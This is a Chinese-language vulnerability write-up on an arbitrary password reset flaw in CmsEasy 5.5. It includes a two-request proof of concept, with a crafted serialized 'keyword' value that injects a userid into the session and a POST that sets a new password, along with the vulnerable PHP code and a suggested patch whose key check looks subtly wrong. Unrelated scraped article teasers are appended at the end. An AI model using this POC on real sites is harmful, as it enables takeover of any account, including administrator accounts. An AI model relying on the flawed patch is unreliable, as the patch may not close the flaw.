catalog

. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考

1. 漏洞描述

攻击者通过构造特殊的HTTP包,可以直接重置任意用户(包括管理员)的密码

Relevant Link:

http://www.cmseasy.cn/patch/show_919.html

2. 漏洞触发条件

0x1: POC

. 首先利用search_action控制userid的值
http://localhost/CmsEasy_5.5/index.php?case=form&act=search&catid=8&form=my_yingpin
POST
keyword=|userid|i:;""\ . 利用edit_action修改用户密码和其它资料
http://localhost/CmsEasy_5.5/index.php?case=user&act=edit
POST
password=3e503e8736acae9b3893629da7008fc0&nickname=ali&question=ali&answer=ali&qq=&e_mail=%40test.com&tel=&address=&intro=&submit=%E6%8F%%E4%BA%A4

3. 漏洞影响范围

4. 漏洞代码分析

/lib/default/user_act.php

function edit_action()
{
if(front::post('submit'))
{
unset(front::$post['groupid']);
unset(front::$post['powerlist']);
if(!is_email(front::$post['e_mail']))
{
alerterror('邮箱格式不对');
}
foreach (front::$post as $k => $v)
{
if(is_array($v) && !empty($v))
{
front::$post[$k] = implode(',', $v);
}
front::check_type(front::post($k), 'safe');
}
//通过取session的userid字段更新该用户资料
$this->_user->rec_update(front::$post,'userid='.session::get('userid'));
front::flash(lang('修改资料成功!'));
front::redirect(url::create('user/index'));
}
$this->view->data=$this->view->user;
}

edit_action函数实现修改用户资料,通过取sesson中的userid字段来更改。所以攻击路径必须能控制生成session中的userid字段,控制生成session的函数位置: /lib/default/form_act.php
我们继续回溯这个漏洞

function search_action()
{
if(front::get('keyword') &&!front::post('keyword'))
{
front::$post['keyword']=front::get('keyword');
}
front::check_type(front::post('keyword'),'safe');
//获取POST数据中的keyword参数
if(front::post('keyword'))
{
$this->view->keyword=trim(front::post('keyword'));
if(inject_check($this->view->keyword))
{
exit('非法请求!');
}
//通过恶意检测之后,通过session保存keyword参数
session::set('keyword',$this->view->keyword);
}
else
{
session::set('keyword',null);
$this->view->keyword=session::get('keyword');
}
if(inject_check($this->view->keyword))
{
exit('非法请求!');
}
var_dump($this->view->keyword); $type = $this->view->type;
$condition = "";
if(front::post('catid'))
{
$condition .= "catid = '".front::post('catid')."' AND ";
}
$condition .= "(title like '%".$this->view->keyword."%'";
$sets=settings::getInstance()->getrow(array('tag'=>'table-fieldset'));
$arr = unserialize($sets['value']);
if(is_array($arr['archive']) &&!empty($arr['archive']))
{
foreach ($arr['archive'] as $v)
{
if($v['issearch'] == '')
{
$condition .= " OR {$v['name']} like '%{$this->view->keyword}%'";
}
}
}
$condition .= ")";
$order = "`listorder` desc,1 DESC";
$limit=(($this->view->page-)*$this->pagesize).','.$this->pagesize;
$articles=$this->archive->getrows($condition,$limit,$order);
foreach($articles as $order=>$arc)
{
$articles[$order]['url']=archive::url($arc);
$articles[$order]['catname']=category::name($arc['catid']);
$articles[$order]['caturl']=category::url($arc['catid']);
$articles[$order]['adddate']= sdate($arc['adddate']);
$articles[$order]['stitle']= strip_tags($arc['title']);
}
$this->view->articles=$articles;
$this->view->archives=$articles;
$this->view->record_count=$this->archive->record_count;
}

从访问控制的角度来看,这个漏洞有两个原因导致

. session不应该由攻击者随便修改,导致keyword被注入修改,这是一个平行权限漏洞
. 修改密码的入口来自于"用户资料修改",UI界面上只提供了普通身份资料的修改,但是因此MVC框架对POST数据进行了遍历,取出所有字段并进行了数据表更新操作,导致发生了表单字段注入

5. 防御方法

将代码逻辑和UI逻辑进行统一,防止出现表单字段注入
/lib/default/user_act.php

function edit_action()
{
if(front::post('submit'))
{
unset(front::$post['groupid']);
unset(front::$post['powerlist']);
if(!is_email(front::$post['e_mail']))
{
alerterror('邮箱格式不对');
}
/**/
$tmp = front::$post;
if ( array_key_exists("password", $tmp['password']) )
{
unset($tmp['password']);
}
front::$post = $tmp;
/**/
foreach (front::$post as $k => $v)
{
if(is_array($v) && !empty($v))
{
front::$post[$k] = implode(',', $v);
}
front::check_type(front::post($k), 'safe');
}
//通过取session的userid字段更新该用户资料
$this->_user->rec_update(front::$post,'userid='.session::get('userid'));
front::flash(lang('修改资料成功!'));
front::redirect(url::create('user/index'));
}
$this->view->data=$this->view->user;
}

6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

CMSEASY /lib/tool/front_class.php、/lib/default/user_act.php arbitrary user password reset vulnerability的更多相关文章

  1. 创建DLL、Lib以及使用DLL、Lib

    1.要在生成DLL文件的同时生成Lib文件,函数声明时前面要加__declspec(dllexport). 可在头文件中如下定义: #ifndef __MYDLL_H#define __MYDLL_H ...

  2. Singleton、MultiThread、Lib——实现单实例无锁多线程安全API

        前阵子写静态lib导出单实例多线程安全API时,出现了CRITICAL_SECTION初始化太晚的问题,之后查看了错误的资料,引导向了错误的理解,以至于今天凌晨看到另一份代码,也不多想的以为s ...

  3. .h头文件、 .lib库文件、 .dll动态链接库文件之间的关系

    转自.h头文件. .lib库文件. .dll动态链接库文件之间的关系 h头文件作用:声明函数接口 dll动态链接库作用:含有函数的可执行代码 lib库有两种: (1)静态链接库(Static Liba ...

  4. 如何在项目中引入 #include .h、.lib、 .dll、.cpp (转)

    源:http://blog.csdn.net/vippolka/article/details/8552735 在项目中引入.h..lib和dll.以及.cpp 1..h的引入 解决办法1:把  XX ...

  5. [转]静态库、动态库,dll文件、lib文件,隐式链接、显式链接

    转自:https://blog.csdn.net/dcrmg/article/details/53427181 静态链接.动态链接 静态库和动态库分别应用在静态链接方式和动态链接方式中,所谓静态链接方 ...

  6. dll、lib(动态链接库、静态链接库)的区别

    1.dll:dynamic link library: lib:static link library. 2.windows系统中,许多app并不是仅由一个完整的exe构成,而是按功能分成了若干部分, ...

  7. 静态库、动态库,dll文件、lib文件,隐式链接、显式链接浅见

    静态链接.动态链接 静态库和动态库分别应用在静态链接方式和动态链接方式中,所谓静态链接方式是指在程序执行之前完成所有的链接工作,把静态库一起打包合入,生成一个可执行的目标文件(EXE文件).所谓动态链 ...

  8. .lib .dll 区别介绍、使用(dll的两种引入方式)

    .lib .dll文件都是程序可直接引用的文件,前者就是所谓的库文件,后者是动态链接库(Dynamic Link Library)也是一个库文件.而.pdb则可以理解为符号表文件.DLL(Dynami ...

  9. 通过离线安装包解决了 from cryptography.hazmat.bindings._openssl import ffi, lib ImportError: /usr/local/python36/lib/python3.6/site-packages/cryptography-2.2.2-py3.6-linux-x86_64.egg/cryptography/hazmat/binding

    场景:内网服务器不能上外网(代理也不通!), 之前安装了PYTHON的几个安装包,但不是知道为什么无法使用PARAMIKO这个模块 在导入 from cryptography.hazmat.bindi ...

随机推荐

  1. git 找回丢失的commit

    From : http://dmouse.iteye.com/blog/1797267 git 的错误操作,导致丢失了重要的commit,真是痛不欲生: 最后通过git神器终于找回了丢失的commit ...

  2. codevs 3369 膜拜

    3369 膜拜 http://codevs.cn/problem/3369/ 题目描述 Description 神牛有很多-当然-每个同学都有自己衷心膜拜的神牛.某学校有两位神牛,神牛甲和神牛乙.新入 ...

  3. TopCoder

    在TopCoder下载好luncher,网址:https://www.topcoder.com/community/competitive%20programming/ 选择launch web ar ...

  4. 向jboss写入服务器日志

    实际开发中,记录日志是常用的功能,jboss默认情况下已经记录了很多运行日志,如果开发人员要手动在server.log中写入日志,可以参考下面的方法: package utils; import ja ...

  5. ThreadLocal原理及其实际应用

    前言 java猿在面试中,经常会被问到1个问题: java实现同步有哪几种方式? 大家一般都会回答使用synchronized, 那么还有其他方式吗? 答案是肯定的, 另外一种方式也就是本文要说的Th ...

  6. 从零开始打造个人专属命令行工具集——yargs完全指南

    前言 使用命令行程序对程序员来说很常见,就算是前端工程师或者开发gui的,也需要使用命令行来编译程序或者打包程序 熟练使用命令行工具能极大的提高开发效率,linux自带的命令行工具都非常的有用,但是这 ...

  7. .Net简单图片系统-简介

    系统简介 最近做了一个简单图片系统,这个系统就是 将上传的的图片保存到系统本地文件系统或者基于fastdfs的分布式文件系统中,在查看图片时会直接请求此系统或者fastdfs的tracker服务器(需 ...

  8. js中什么时候回考虑用call或者apply

    这里我说出自己的浅薄的理解,希望大家可以共鸣! call一些装逼的用法: call的用法通常在两个地方会用到, 1.需要加一个层的时候,也可以不准确的说继承的时候,继承是继承父类的属性或者方法,而ao ...

  9. [BZOJ1579][Usaco2009 Feb]Revamping Trails 道路升级(二维最短路问题)

    题目:http://www.lydsy.com:808/JudgeOnline/problem.php?id=1579 分析: 设d[i][j]表示从1走到i.改了j条边的最短路径长度 如果设i相连的 ...

  10. 详解C语言的htons和htonl函数、大尾端、小尾端

    在Linux和Windows网络编程时需要用到htons和htonl函数,用来将主机字节顺序转换为网络字节顺序. 在Intel机器下,执行以下程序 int main(){   printf(" ...